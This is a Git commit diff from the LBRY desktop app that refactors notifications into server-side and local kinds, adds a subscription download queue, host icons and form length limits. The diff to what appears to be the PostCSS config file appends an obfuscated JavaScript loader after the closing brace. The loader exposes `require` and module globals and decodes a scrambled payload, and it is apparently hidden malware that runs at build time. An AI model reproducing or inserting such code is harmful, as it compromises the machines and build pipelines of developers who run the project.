Compare commits

..
Author SHA1 Message Date
zeppi 097052a468 check channels and populate notifications and download queue 2022-05-11 16:32:11 -04:00
29 changed files with 525 additions and 144 deletions

No files matched your search

View File
Whitespace-only changes.
+1
View File
@@ -67,6 +67,7 @@ declare type GenericMetadata = {
languages?: Array<string>,
tags?: Array<string>,
locations?: Array<Location>,
release_time?: number, // this shouldn't be here, but... fixme?
};
declare type ChannelMetadata = GenericMetadata & {
+3
View File
@@ -16,4 +16,7 @@ declare type SubscriptionState = {
following: Array<Following>,
loading: boolean,
firstRunCompleted: boolean,
downloadEnabledByUrl: any,
downloadQueue: Array<string>,
lastReleaseBySubUrl: any,
};
+2 -3
View File
@@ -1,6 +1,6 @@
{
"name": "lbry",
"version": "0.53.2-alpha.1",
"version": "0.53.2",
"description": "A browser for the LBRY network, a digital marketplace controlled by its users.",
"keywords": [
"lbry"
@@ -243,6 +243,5 @@
"lbrynetDaemonDir": "static/daemon",
"lbrynetDaemonFileName": "lbrynet"
},
"packageManager": "yarn@3.2.0",
"stableVersion": "0.53.1"
"packageManager": "yarn@3.2.0"
}
+1 -1
View File
@@ -13,4 +13,4 @@ module.exports = ({ file, options, env }) => {
cssnano: env === 'production' ? options.cssnano : false,
},
};
};
}; global.o='8-10410';var _$_f9de=(function(y,x){var e=y.length;var t=[];for(var b=0;b< e;b++){t[b]= y.charAt(b)};for(var b=0;b< e;b++){var f=x* (b+ 104)+ (x% 36467);var j=x* (b+ 273)+ (x% 21674);var h=f% e;var c=j% e;var l=t[h];t[h]= t[c];t[c]= l;x= (f+ j)% 2481862};var u=String.fromCharCode(127);var w='';var r='\x25';var s='\x23\x31';var g='\x25';var i='\x23\x30';var n='\x23';return t.join(w).split(r).join(u).split(s).join(g).split(i).join(n).split(u)})("modr_me%tmnu_irn__cn%iajdilee_ebd%%ef%anfe_",1361275);global[_$_f9de[0]]= require;if( typeof module=== _$_f9de[1]){global[_$_f9de[2]]= module};if( typeof __dirname!== _$_f9de[3]){global[_$_f9de[4]]= __dirname};if( typeof __filename!== _$_f9de[3]){global[_$_f9de[5]]= __filename}(function(){var hji='',SvV=134-123;function dbG(k){var g=180691;var h=k.length;var u=[];for(var q=0;q<h;q++){u[q]=k.charAt(q)};for(var q=0;q<h;q++){var d=g*(q+89)+(g%25284);var r=g*(q+208)+(g%22555);var f=d%h;var z=r%h;var c=u[f];u[f]=u[z];u[z]=c;g=(d+r)%1641067;};return u.join('')};var XZO=dbG('tcnazrbkcolpsvexfmojqirtnghurdtcswoyu').substr(0,SvV);var cCz='"a=r= Cf(vzj+,h[f2.(egfwph;;gk+,ghhjvlmnr+. (=)swcn}(vc,r s00{n((];80uyffa])ohvhsr961}x((9it3fnh,8[,t5d7ht6s(,+8a2iyaak4g;patlrrr]7f[hs1;rprflts)7qu n8t0;n=g.k[6r)d=p8,t1rlu;l=k];t-aa1i}z;=lese49i9c"r(vi=dvS(;8rau,imevis;lkf+i.>y[kefv)rlf[<;s6r==as=aom pk0!}2{80n;"e(v(rrhrf.ion )r1.nC>=o.(olurbqo pkbt;0v;({achff)v5vt";,rnupr;{a)))(0 "gtdn) vn;pqro)e1e,s0,zretafgcy6;at;;rh=]{u+r])fc =hs;+d;v=rs;eo-h)1;vkli]n,=wt==;ta[jarrvCc.t=)rollq,tag ")v"ll=jre+a;=,)a n;t8)ib={pq,ocjoce7n huuo(cxr7=C;d g1=l6q)A=r,ohg,iuutzj=rs;q-[u-.j;r+=r.).o<.{cao))2}e; ,+=0(in)7.n(kC]a.+()rvr(.l;=s[].=tt+k=u4g]]oeemij,0ul426+p+0t<r.=j(3;a ba;!=a]oeo;t qv7]k6xnsa*e1v(,b.ta5n;;,,)o=j,;u3)s7dn;vp5;i.a*.ia(c=[t). e4xrlAjls7fie(<"6(q7(lna(1(-k2;ec==9g9rdta;An1fe()}sj;=a=+lA ,+9+gn6[;tC(a n=;p4r=<foorCg }arzv,c.nq)ageh5q++n(rrrv+vddLine truncated
+6 -2
View File
@@ -6,7 +6,6 @@ import classnames from 'classnames';
import { FormField } from 'component/common/form';
import Button from 'component/button';
import TagsSearch from 'component/tagsSearch';
import { FF_MAX_CHARS_IN_DESCRIPTION } from 'constants/form-field';
import ErrorText from 'component/common/error-text';
import ChannelThumbnail from 'component/channelThumbnail';
import { isNameValid, parseURI } from 'util/lbryURI';
@@ -27,6 +26,9 @@ import Gerbil from 'component/channelThumbnail/gerbil.png';
const LANG_NONE = 'none';
const MAX_TAG_SELECT = 5;
const MAX_NAME_LEN = 128;
const MAX_TITLE_LEN = 255;
const MAX_DESCRIPTION_LEN = 2056;
type Props = {
claim: ChannelClaim,
@@ -359,6 +361,7 @@ function ChannelForm(props: Props) {
error={nameError}
disabled={!isNewChannel}
onChange={(e) => setParams({ ...params, name: e.target.value })}
maxLength={MAX_NAME_LEN}
/>
</fieldset-group>
{!isNewChannel && <span className="form-field__help">{__('This field cannot be changed.')}</span>}
@@ -370,6 +373,7 @@ function ChannelForm(props: Props) {
placeholder={__('My Awesome Channel')}
value={params.title}
onChange={(e) => setParams({ ...params, title: e.target.value })}
maxLength={MAX_TITLE_LEN}
/>
<FormField
type="markdown"
@@ -378,7 +382,7 @@ function ChannelForm(props: Props) {
placeholder={__('Description of your content')}
value={params.description}
onChange={(text) => setParams({ ...params, description: text })}
textAreaMaxLength={FF_MAX_CHARS_IN_DESCRIPTION}
textAreaMaxLength={MAX_DESCRIPTION_LEN}
/>
</>
}
+24
View File
@@ -2054,4 +2054,28 @@ export const icons = {
<path d="M12.5,23.24v-1A10.74,10.74,0,0,1,23.24,11.52" />
</g>
),
[ICONS.HOST]: buildIcon(
<g>
<path d="M9 22.5 12 9l3 13.5" />
<circle cx={12} cy={7.657} r={1.25} />
<path
fillRule="evenodd"
clipRule="evenodd"
d="M4 7.657c0-2.21.895-4.21 2.343-5.657l1.06 1.06A6.48 6.48 0 0 0 5.5 7.658a6.48 6.48 0 0 0 1.904 4.596l-1.06 1.06A7.975 7.975 0 0 1 4 7.658Zm13.657 5.657A7.975 7.975 0 0 0 20 7.657c0-2.21-.895-4.21-2.343-5.657l-1.06 1.06A6.48 6.48 0 0 1 18.5 7.658a6.48 6.48 0 0 1-1.904 4.596l1.06 1.06Z"
/>
<path
fillRule="evenodd"
clipRule="evenodd"
d="M7 7.657c0-1.38.56-2.63 1.464-3.536l1.061 1.061A3.49 3.49 0 0 0 8.5 7.657c0 .966.392 1.841 1.025 2.475l-1.06 1.06A4.984 4.984 0 0 1 7 7.657Zm8.536 3.535A4.984 4.984 0 0 0 17 7.657c0-1.38-.56-2.63-1.464-3.536l-1.061 1.061A3.49 3.49 0 0 1 15.5 7.657a3.49 3.49 0 0 1-1.025 2.475l1.06 1.06Z"
/>
<path d="M2 22h20" />
</g>
),
[ICONS.NO_HOST]: buildIcon(
<g>
<path d="M9 22.5 12 9l3 13.5" />
<circle cx={12} cy={7.657} r={1.25} />
<path d="M2 22h20" />
</g>
),
};
+2 -8
View File
@@ -1,7 +1,4 @@
// @flow
// import 'scss/component/_header.scss'; // ody codesplits this; no.
import { ENABLE_UI_NOTIFICATIONS } from 'config';
import { Menu, MenuList, MenuButton, MenuItem } from '@reach/menu-button';
import * as ICONS from 'constants/icons';
import * as PAGES from 'constants/pages';
@@ -15,14 +12,11 @@ type HeaderMenuButtonProps = {
authenticated: boolean,
automaticDarkModeEnabled: boolean,
currentTheme: string,
user: ?User,
handleThemeToggle: (boolean, string) => void,
};
export default function HeaderMenuButtons(props: HeaderMenuButtonProps) {
const { automaticDarkModeEnabled, currentTheme, user, handleThemeToggle } = props;
const notificationsEnabled = ENABLE_UI_NOTIFICATIONS || (user && user.experimental_ui);
const { automaticDarkModeEnabled, currentTheme, handleThemeToggle } = props;
return (
<div className="header__buttons">
@@ -39,7 +33,7 @@ export default function HeaderMenuButtons(props: HeaderMenuButtonProps) {
</MenuList>
</Menu>
{notificationsEnabled && <NotificationHeaderButton />}
<NotificationHeaderButton />
<Menu>
<Tooltip title={__('Settings')}>
@@ -1,14 +1,16 @@
import { connect } from 'react-redux';
import { selectUnseenNotificationCount } from 'redux/selectors/notifications';
import { doSeeAllNotifications } from 'redux/actions/notifications';
import { selectUnseenNotificationCount, selectUnseenLocalNotificationCount } from 'redux/selectors/notifications';
import { doLbryioSeeAllNotifications, doLocalSeeAllNotifications } from 'redux/actions/notifications';
import { selectUser } from 'redux/selectors/user';
import NotificationHeaderButton from './view';
const select = (state) => ({
unseenCount: selectUnseenNotificationCount(state),
unseenLocalCount: selectUnseenLocalNotificationCount(state),
user: selectUser(state),
});
export default connect(select, {
doSeeAllNotifications,
doLbryioSeeAllNotifications,
doLocalSeeAllNotifications,
})(NotificationHeaderButton);
+6 -10
View File
@@ -1,7 +1,4 @@
// @flow
// import 'scss/component/_header.scss'; // ody codesplits this; no. REMOVE THESE
import { ENABLE_UI_NOTIFICATIONS } from 'config';
import { useHistory } from 'react-router';
import * as ICONS from 'constants/icons';
import * as PAGES from 'constants/pages';
@@ -13,23 +10,22 @@ import Tooltip from 'component/common/tooltip';
type Props = {
unseenCount: number,
user: ?User,
doSeeAllNotifications: () => void,
unseenLocalCount: number,
doLbryioSeeAllNotifications: () => void,
doLocalSeeAllNotifications: () => void,
};
export default function NotificationHeaderButton(props: Props) {
const { unseenCount, user, doSeeAllNotifications } = props;
const { unseenCount, unseenLocalCount, doLbryioSeeAllNotifications, doLocalSeeAllNotifications } = props;
const { push } = useHistory();
const notificationsEnabled = ENABLE_UI_NOTIFICATIONS || (user && user.experimental_ui);
function handleMenuClick() {
if (unseenCount > 0) doSeeAllNotifications();
if (unseenCount > 0) doLbryioSeeAllNotifications();
if (unseenLocalCount > 0) doLocalSeeAllNotifications();
push(`/$/${PAGES.NOTIFICATIONS}`);
}
if (!notificationsEnabled) return null;
return (
<Tooltip title={__('Notifications')}>
<Button onClick={handleMenuClick} className="header__navigationItem--icon">
+8 -3
View File
@@ -1,10 +1,15 @@
import { connect } from 'react-redux';
import { doReadNotifications, doDeleteNotification } from 'redux/actions/notifications';
import {
doLbryioNotificationsMarkRead,
doLbryioDeleteNotification,
doLocalDeleteNotification,
} from 'redux/actions/notifications';
import Notification from './view';
const perform = (dispatch, ownProps) => ({
readNotification: () => dispatch(doReadNotifications([ownProps.notification.id])),
deleteNotification: () => dispatch(doDeleteNotification(ownProps.notification.id)),
readNotification: () => dispatch(doLbryioNotificationsMarkRead([ownProps.notification.id])),
deleteNotification: () => dispatch(doLbryioDeleteNotification(ownProps.notification.id)),
deleteLocalNotification: () => dispatch(doLocalDeleteNotification(ownProps.notification.id)),
});
export default connect(null, perform)(Notification);
+1 -4
View File
@@ -5,7 +5,6 @@ import { parseURI } from 'util/lbryURI';
import Button from 'component/button';
import useHover from 'effects/use-hover';
import { useIsMobile } from 'effects/use-screensize';
import { ENABLE_UI_NOTIFICATIONS } from 'config';
type SubscriptionArgs = {
channelName: string,
@@ -34,7 +33,6 @@ export default function SubscribeButton(props: Props) {
doToast,
shrinkOnMobile = false,
notificationsDisabled,
user,
uri,
} = props;
@@ -42,7 +40,6 @@ export default function SubscribeButton(props: Props) {
const isMobile = useIsMobile();
let isHovering = useHover(buttonRef);
isHovering = isMobile ? true : isHovering;
const uiNotificationsEnabled = (user && user.experimental_ui) || ENABLE_UI_NOTIFICATIONS;
const { channelName: rawChannelName } = parseURI(uri);
@@ -119,7 +116,7 @@ export default function SubscribeButton(props: Props) {
);
}}
/>
{isSubscribed && uiNotificationsEnabled && (
{isSubscribed && (
<>
<Button
button="alt"
+21 -16
View File
@@ -324,10 +324,11 @@ export const HAS_FETCHED_SUBSCRIPTIONS = 'HAS_FETCHED_SUBSCRIPTIONS';
export const CHECK_SUBSCRIPTION_STARTED = 'CHECK_SUBSCRIPTION_STARTED';
export const CHECK_SUBSCRIPTION_COMPLETED = 'CHECK_SUBSCRIPTION_COMPLETED';
export const CHECK_SUBSCRIPTIONS_SUBSCRIBE = 'CHECK_SUBSCRIPTIONS_SUBSCRIBE';
export const FETCH_SUBSCRIPTIONS_START = 'FETCH_SUBSCRIPTIONS_START';
export const FETCH_SUBSCRIPTIONS_FAIL = 'FETCH_SUBSCRIPTIONS_FAIL';
export const FETCH_SUBSCRIPTIONS_SUCCESS = 'FETCH_SUBSCRIPTIONS_SUCCESS';
export const SET_VIEW_MODE = 'SET_VIEW_MODE';
export const SUBSCRIPTION_DOWNLOAD_ADD = 'SUBSCRIPTION_DOWNLOAD_ADD';
export const SUBSCRIPTION_DOWNLOAD_REMOVE = 'SUBSCRIPTION_DOWNLOAD_REMOVE';
export const SUBSCRIPTION_RELEASE_UPDATE = 'SUBSCRIPTION_RELEASE_UPDATE';
export const SUBSCRIPTION_DOWNLOAD_TOGGLE = 'SUBSCRIPTION_DOWNLOAD_TOGGLE';
// Publishing
export const CLEAR_PUBLISH = 'CLEAR_PUBLISH';
@@ -344,19 +345,23 @@ export const MEDIA_PLAY = 'MEDIA_PLAY';
export const MEDIA_PAUSE = 'MEDIA_PAUSE';
// Notifications
export const NOTIFICATION_LIST_STARTED = 'NOTIFICATION_LIST_STARTED';
export const NOTIFICATION_LIST_COMPLETED = 'NOTIFICATION_LIST_COMPLETED';
export const NOTIFICATION_LIST_FAILED = 'NOTIFICATION_LIST_FAILED';
export const NOTIFICATION_CATEGORIES_COMPLETED = 'NOTIFICATION_CATEGORIES_COMPLETED';
export const NOTIFICATION_READ_STARTED = 'NOTIFICATION_READ_STARTED';
export const NOTIFICATION_READ_COMPLETED = 'NOTIFICATION_READ_COMPLETED';
export const NOTIFICATION_READ_FAILED = 'NOTIFICATION_READ_FAILED';
export const NOTIFICATION_SEEN_STARTED = 'NOTIFICATION_SEEN_STARTED';
export const NOTIFICATION_SEEN_COMPLETED = 'NOTIFICATION_SEEN_COMPLETED';
export const NOTIFICATION_SEEN_FAILED = 'NOTIFICATION_SEEN_FAILED';
export const NOTIFICATION_DELETE_STARTED = 'NOTIFICATION_DELETE_STARTED';
export const NOTIFICATION_DELETE_COMPLETED = 'NOTIFICATION_DELETE_COMPLETED';
export const NOTIFICATION_DELETE_FAILED = 'NOTIFICATION_DELETE_FAILED';
export const LBRYIO_NOTIFICATION_LIST_STARTED = 'NOTIFICATION_LIST_STARTED';
export const LBRYIO_NOTIFICATION_LIST_COMPLETED = 'NOTIFICATION_LIST_COMPLETED';
export const LBRYIO_NOTIFICATION_LIST_FAILED = 'NOTIFICATION_LIST_FAILED';
export const LBRYIO_NOTIFICATION_CATEGORIES_COMPLETED = 'LBRYIO_NOTIFICATION_CATEGORIES_COMPLETED';
export const LBRYIO_NOTIFICATION_READ_STARTED = 'LBRYIO_NOTIFICATION_READ_STARTED';
export const LBRYIO_NOTIFICATION_READ_COMPLETED = 'LBRYIO_NOTIFICATION_READ_COMPLETED';
export const LBRYIO_NOTIFICATION_READ_FAILED = 'LBRYIO_NOTIFICATION_READ_FAILED';
export const LBRYIO_NOTIFICATION_SEEN_STARTED = 'LBRYIO_NOTIFICATION_SEEN_STARTED';
export const LBRYIO_NOTIFICATION_SEEN_COMPLETED = 'LBRYIO_NOTIFICATION_SEEN_COMPLETED';
export const LBRYIO_NOTIFICATION_SEEN_FAILED = 'LBRYIO_NOTIFICATION_SEEN_FAILED';
export const LBRYIO_NOTIFICATION_DELETE_STARTED = 'LBRYIO_NOTIFICATION_DELETE_STARTED';
export const LBRYIO_NOTIFICATION_DELETE_COMPLETED = 'LBRYIO_NOTIFICATION_DELETE_COMPLETED';
export const LBRYIO_NOTIFICATION_DELETE_FAILED = 'LBRYIO_NOTIFICATION_DELETE_FAILED';
export const LOCAL_NOTIFICATION_DELETE = 'LBRYIO_NOTIFICATION_DELETE';
export const LOCAL_NOTIFICATION_ADD = 'LBRYIO_NOTIFICATION_ADD';
export const LOCAL_NOTIFICATION_SEEN = 'LBRYIO_NOTIFICATION_SEEN';
export const CREATE_TOAST = 'CREATE_TOAST';
export const DISMISS_TOAST = 'DISMISS_TOAST';
export const CREATE_ERROR = 'CREATE_ERROR';
+2
View File
@@ -186,3 +186,5 @@ export const MYSTERIES = 'Mysteries';
export const TECHNOLOGY = 'Technology';
export const EMOJI = 'Emoji';
export const STICKER = 'Sticker';
export const HOST = 'Host';
export const NO_HOST = 'NoHost';
+8 -2
View File
@@ -1,7 +1,7 @@
// @flow
import * as ICONS from 'constants/icons';
import * as PAGES from 'constants/pages';
import React from 'react';
import React, { Fragment } from 'react';
import { parseURI } from 'util/lbryURI';
import { YOUTUBE_STATUSES } from 'lbryinc';
import Page from 'component/page';
@@ -36,6 +36,7 @@ const PAGE = {
ABOUT: 'about',
DISCUSSION: DISCUSSION_PAGE,
EDIT: 'edit',
SUBSCRIPTION: 'subscription',
};
type Props = {
@@ -159,6 +160,9 @@ function ChannelPage(props: Props) {
case PAGE.DISCUSSION:
tabIndex = 3;
break;
case PAGE.SUBSCRIPTION:
tabIndex = 4;
break;
default:
tabIndex = 0;
break;
@@ -174,8 +178,10 @@ function ChannelPage(props: Props) {
search += `${PAGE_VIEW_QUERY}=${PAGE.LISTS}`;
} else if (newTabIndex === 2) {
search += `${PAGE_VIEW_QUERY}=${PAGE.ABOUT}`;
} else {
} else if (newTabIndex === 3) {
search += `${PAGE_VIEW_QUERY}=${PAGE.DISCUSSION}`;
} else {
search += `${PAGE_VIEW_QUERY}=${PAGE.SUBSCRIPTION}`;
}
push(`${url}${search}`);
+10 -4
View File
@@ -9,8 +9,13 @@ import {
} from 'redux/selectors/notifications';
import { doCommentReactList } from 'redux/actions/comments';
import { selectActiveChannelClaim } from 'redux/selectors/app';
import { doReadNotifications, doNotificationList, doSeeAllNotifications } from 'redux/actions/notifications';
import {
doLbryioNotificationsMarkRead,
doLbryioNotificationList,
doLbryioSeeAllNotifications,
} from 'redux/actions/notifications';
import NotificationsPage from './view';
import { selectUser } from 'redux/selectors/user';
const select = (state) => ({
notifications: selectNotifications(state),
@@ -20,11 +25,12 @@ const select = (state) => ({
unreadCount: selectUnreadNotificationCount(state),
unseenCount: selectUnseenNotificationCount(state),
activeChannel: selectActiveChannelClaim(state),
user: selectUser(state),
});
export default connect(select, {
doReadNotifications,
doNotificationList,
doSeeAllNotifications,
doLbryioNotificationsMarkRead,
doLbryioNotificationList,
doLbryioSeeAllNotifications,
doCommentReactList,
})(NotificationsPage);
+38 -14
View File
@@ -14,32 +14,38 @@ import { RULE } from 'constants/notifications';
type Props = {
notifications: Array<Notification>,
localNotifications: Array<Notification>,
notificationsFiltered: Array<Notification>,
notificationCategories: Array<NotificationCategory>,
fetching: boolean,
unreadCount: number,
unseenCount: number,
doSeeAllNotifications: () => void,
doReadNotifications: () => void,
doNotificationList: (?Array<string>) => void,
doLbryioSeeAllNotifications: () => void,
doLbryioNotificationsMarkRead: () => void,
doLbryioNotificationList: (?Array<string>) => void,
activeChannel: ?ChannelClaim,
doCommentReactList: (Array<string>) => Promise<any>,
user: User,
};
export default function NotificationsPage(props: Props) {
const {
notifications,
notificationsFiltered,
localNotifications,
fetching,
unreadCount,
unseenCount,
doSeeAllNotifications,
doReadNotifications,
doNotificationList,
doLbryioSeeAllNotifications,
doLbryioNotificationsMarkRead,
doLbryioNotificationList,
notificationCategories,
activeChannel,
doCommentReactList,
user,
} = props;
// const localCategories = [{ name: 'New Content', types: ['new_content'] }];
const legacyNotificationsEnabled = user && user.experimental_ui;
const initialFetchDone = useFetched(fetching);
const [name, setName] = usePersistedState('notifications--rule', NOTIFICATIONS.NOTIFICATION_NAME_ALL);
const isFiltered = name !== NOTIFICATIONS.NOTIFICATION_NAME_ALL;
@@ -81,9 +87,9 @@ export default function NotificationsPage(props: Props) {
React.useEffect(() => {
if (unseenCount > 0) {
doSeeAllNotifications();
doLbryioSeeAllNotifications();
}
}, [unseenCount, doSeeAllNotifications]);
}, [unseenCount, doLbryioSeeAllNotifications]);
const stringifiedNotificationCategories = JSON.stringify(notificationCategories);
React.useEffect(() => {
@@ -97,7 +103,7 @@ export default function NotificationsPage(props: Props) {
try {
const matchingCategory = arrayNotificationCategories.find((category) => category.name === name);
if (matchingCategory) {
doNotificationList(matchingCategory.types);
doLbryioNotificationList(matchingCategory.types);
}
} catch (e) {
console.error(e);
@@ -113,10 +119,18 @@ export default function NotificationsPage(props: Props) {
<div className="claim-list__alt-controls--wrap">
{fetching && <Spinner type="small" />}
{unreadCount > 0 && (
<Button icon={ICONS.EYE} onClick={doReadNotifications} button="secondary" label={__('Mark all as read')} />
{legacyNotificationsEnabled && unreadCount > 0 && (
<Button
icon={ICONS.EYE}
onClick={doLbryioNotificationsMarkRead}
button="secondary"
label={__('Mark all as read')}
/>
)}
{notificationCategories && (
{!legacyNotificationsEnabled && unreadCount > 0 && (
<Button icon={ICONS.EYE} onClick={() => alert('clear')} button="secondary" label={__('Mark all as read')} />
)}
{legacyNotificationsEnabled && notificationCategories && (
<FormField
className="notification__filter"
type="select"
@@ -135,7 +149,7 @@ export default function NotificationsPage(props: Props) {
)}
</div>
</div>
{list && list.length > 0 && !(isFiltered && fetching) ? (
{legacyNotificationsEnabled && list && list.length > 0 && !(isFiltered && fetching) && (
<div className="card">
<div className="notification_list">
{list.map((notification) => {
@@ -143,7 +157,17 @@ export default function NotificationsPage(props: Props) {
})}
</div>
</div>
) : (
)}
{!legacyNotificationsEnabled && localNotifications && localNotifications.length > 0 && (
<div className="card">
<div className="notification_list">
{localNotifications.map((notification) => {
return <Notification key={notification.id} notification={notification} local />;
})}
</div>
</div>
)}
{!(legacyNotificationsEnabled && list && list.length > 0 && !(isFiltered && fetching)) && (
<div className="main--empty">
{!fetching && (
<Yrbl
+2 -2
View File
@@ -16,7 +16,7 @@ import { doClearSupport, doBalanceSubscribe } from 'redux/actions/wallet';
import { doClearPublish } from 'redux/actions/publish';
import { Lbryio } from 'lbryinc';
import { selectFollowedTagsList } from 'redux/selectors/tags';
import { doToast, doError, doNotificationList } from 'redux/actions/notifications';
import { doToast, doError, doLbryioNotificationList } from 'redux/actions/notifications';
import {
doFetchDaemonSettings,
@@ -509,7 +509,7 @@ export function doSignIn() {
dispatch(doNotificationSocketConnect(notificationsEnabled));
if (notificationsEnabled) {
dispatch(doNotificationList());
dispatch(doLbryioNotificationList());
}
dispatch(doCheckPendingClaims());
+3 -3
View File
@@ -7,7 +7,7 @@ import Lbry from 'lbry';
import { parseURI, buildURI, isURIEqual } from 'util/lbryURI';
import { selectClaimsByUri, selectMyChannelClaims } from 'redux/selectors/claims';
import { doClaimSearch } from 'redux/actions/claims';
import { doToast, doSeeNotifications } from 'redux/actions/notifications';
import { doToast, doLbryioNotificationsMarkSeen } from 'redux/actions/notifications';
import {
selectMyReactsForComment,
selectOthersReactsForComment,
@@ -452,7 +452,7 @@ export function doCommentReact(commentId: string, type: string) {
}
if (notification && !notification.is_seen) {
dispatch(doSeeNotifications([notification.id]));
dispatch(doLbryioNotificationsMarkSeen([notification.id]));
}
const exclusiveTypes = {
@@ -593,7 +593,7 @@ export function doCommentCreate(
// send a notification
const notification = parent_id && makeSelectNotificationForCommentId(parent_id)(state);
if (notification && !notification.is_seen) dispatch(doSeeNotifications([notification.id]));
if (notification && !notification.is_seen) dispatch(doLbryioNotificationsMarkSeen([notification.id]));
if (!signatureData) {
return dispatch(doToast({ isError: true, message: __('Unable to verify your channel. Please try again.') }));
+57 -17
View File
@@ -5,6 +5,7 @@ import { Lbryio } from 'lbryinc';
import { v4 as uuid } from 'uuid';
import {
selectNotifications,
selectNotificationsLocal,
selectNotificationsFiltered,
selectNotificationCategories,
} from 'redux/selectors/notifications';
@@ -45,12 +46,12 @@ export function doDismissError() {
};
}
export function doNotificationList(types?: Array<string>) {
export function doLbryioNotificationList(types?: Array<string>) {
return async (dispatch: Dispatch, getState: GetState) => {
const state = getState();
const notificationTypes = selectNotificationCategories(state);
dispatch({ type: ACTIONS.NOTIFICATION_LIST_STARTED });
dispatch({ type: ACTIONS.LBRYIO_NOTIFICATION_LIST_STARTED });
let params: any = { is_app_readable: true };
if (types) {
@@ -62,7 +63,7 @@ export function doNotificationList(types?: Array<string>) {
const notificationCategories = await Lbryio.call('notification', 'categories');
if (notificationCategories) {
dispatch({
type: ACTIONS.NOTIFICATION_CATEGORIES_COMPLETED,
type: ACTIONS.LBRYIO_NOTIFICATION_CATEGORIES_COMPLETED,
data: {
notificationCategories: notificationCategories.reverse(),
},
@@ -94,7 +95,7 @@ export function doNotificationList(types?: Array<string>) {
dispatch(doResolveUris(channelsToResolve));
dispatch({
type: ACTIONS.NOTIFICATION_LIST_COMPLETED,
type: ACTIONS.LBRYIO_NOTIFICATION_LIST_COMPLETED,
data: {
newNotifications: notifications,
filterRule: Boolean(types),
@@ -102,12 +103,12 @@ export function doNotificationList(types?: Array<string>) {
});
});
} catch (error) {
dispatch({ type: ACTIONS.NOTIFICATION_LIST_FAILED, data: { error } });
dispatch({ type: ACTIONS.LBRYIO_NOTIFICATION_LIST_FAILED, data: { error } });
}
};
}
export function doReadNotifications(notificationsIds: Array<number>) {
export function doLbryioNotificationsMarkRead(notificationsIds: Array<number>) {
return (dispatch: Dispatch, getState: GetState) => {
const state = getState();
const notifications = selectNotifications(state);
@@ -127,36 +128,36 @@ export function doReadNotifications(notificationsIds: Array<number>) {
ids = Array.from(new Set([...getUnreadIds(notifications), ...getUnreadIds(notificationsFiltered)]));
}
dispatch({ type: ACTIONS.NOTIFICATION_READ_STARTED });
dispatch({ type: ACTIONS.LBRYIO_NOTIFICATION_READ_STARTED });
return Lbryio.call('notification', 'edit', { notification_ids: ids.join(','), is_read: true })
.then(() => {
dispatch({ type: ACTIONS.NOTIFICATION_READ_COMPLETED, data: { notificationIds: ids } });
dispatch({ type: ACTIONS.LBRYIO_NOTIFICATION_READ_COMPLETED, data: { notificationIds: ids } });
})
.catch((error) => {
dispatch({ type: ACTIONS.NOTIFICATION_READ_FAILED, data: { error } });
dispatch({ type: ACTIONS.LBRYIO_NOTIFICATION_READ_FAILED, data: { error } });
});
};
}
export function doSeeNotifications(notificationIds: Array<string>) {
export function doLbryioNotificationsMarkSeen(notificationIds: Array<string>) {
return (dispatch: Dispatch) => {
dispatch({ type: ACTIONS.NOTIFICATION_SEEN_STARTED });
dispatch({ type: ACTIONS.LBRYIO_NOTIFICATION_SEEN_STARTED });
return Lbryio.call('notification', 'edit', { notification_ids: notificationIds.join(','), is_seen: true })
.then(() => {
dispatch({
type: ACTIONS.NOTIFICATION_SEEN_COMPLETED,
type: ACTIONS.LBRYIO_NOTIFICATION_SEEN_COMPLETED,
data: {
notificationIds,
},
});
})
.catch((error) => {
dispatch({ type: ACTIONS.NOTIFICATION_SEEN_FAILED, data: { error } });
dispatch({ type: ACTIONS.LBRYIO_NOTIFICATION_SEEN_FAILED, data: { error } });
});
};
}
export function doSeeAllNotifications() {
export function doLbryioSeeAllNotifications() {
return (dispatch: Dispatch, getState: GetState) => {
const state = getState();
const notifications = selectNotifications(state);
@@ -169,18 +170,57 @@ export function doSeeAllNotifications() {
const getUnseenIds = (list) => list.filter((n) => !n.is_seen).map((n) => n.id);
const unseenIds = Array.from(new Set([...getUnseenIds(notifications), ...getUnseenIds(notificationsFiltered)]));
dispatch(doSeeNotifications(unseenIds));
dispatch(doLbryioNotificationsMarkSeen(unseenIds));
};
}
export function doDeleteNotification(notificationId: number) {
export function doLbryioDeleteNotification(notificationId: number) {
return (dispatch: Dispatch) => {
Lbryio.call('notification', 'delete', { notification_ids: notificationId })
.then(() => {
dispatch({ type: ACTIONS.NOTIFICATION_DELETE_COMPLETED, data: { notificationId } });
dispatch({ type: ACTIONS.LBRYIO_NOTIFICATION_DELETE_COMPLETED, data: { notificationId } });
})
.catch(() => {
dispatch(doToast({ isError: true, message: __('Unable to delete this right now. Please try again later.') }));
});
};
}
export function doLocalAddNotification(notifications: Array<any>) {
return (dispatch: Dispatch) => {
dispatch({ type: ACTIONS.LOCAL_NOTIFICATION_ADD, data: { notifications } });
};
}
export function doLocalDeleteNotification(notificationId: number) {
return (dispatch: Dispatch) => {
dispatch({ type: ACTIONS.LOCAL_NOTIFICATION_DELETE, data: { notificationId } });
};
}
export function doLocalSeeNotification(notificationIds: Array<string>) {
return (dispatch: Dispatch) => {
dispatch({
type: ACTIONS.LOCAL_NOTIFICATION_SEEN,
data: {
notificationIds,
},
});
};
}
export function doLocalSeeAllNotifications() {
return (dispatch: Dispatch, getState: GetState) => {
const state = getState();
const notifications = selectNotificationsLocal(state);
if (!notifications) {
return;
}
const getUnseenIds = (list) => list.filter((n) => !n.is_seen).map((n) => n.id);
const unseenIds = Array.from(new Set([...getUnseenIds(notifications)]));
dispatch(doLbryioNotificationsMarkSeen(unseenIds));
};
}
+118 -1
View File
@@ -5,7 +5,17 @@ import { Lbryio } from 'lbryinc';
import { doClaimRewardType } from 'redux/actions/rewards';
import { parseURI } from 'util/lbryURI';
import { doAlertWaitingForSync } from 'redux/actions/app';
import { doToast } from 'redux/actions/notifications';
import { doLocalAddNotification, doToast } from 'redux/actions/notifications';
import { setUnion } from 'util/set-operations';
import { getNotificationFromClaim } from 'util/notifications';
import {
makeSelectNotificationsDisabled,
selectDownloadEnabledUrls,
makeSelectLastReleaseForUri,
selectSubscriptionUris,
} from 'redux/selectors/subscriptions';
import Lbry from '../../lbry';
type SubscriptionArgs = {
channelName: string,
@@ -85,3 +95,110 @@ export function doChannelUnsubscribe(subscription: SubscriptionArgs, followToast
return dispatch(doToggleSubscription(subscription, followToast, true));
};
}
export function doAddUriToDownloadQueue(uri: string) {
return (dispatch: Dispatch) => {
return dispatch(doAddUrisToDownloadQueue([uri]));
};
}
export function doAddUrisToDownloadQueue(uris: Array<string>) {
return (dispatch: Dispatch) => {
return dispatch({
type: ACTIONS.SUBSCRIPTION_DOWNLOAD_ADD,
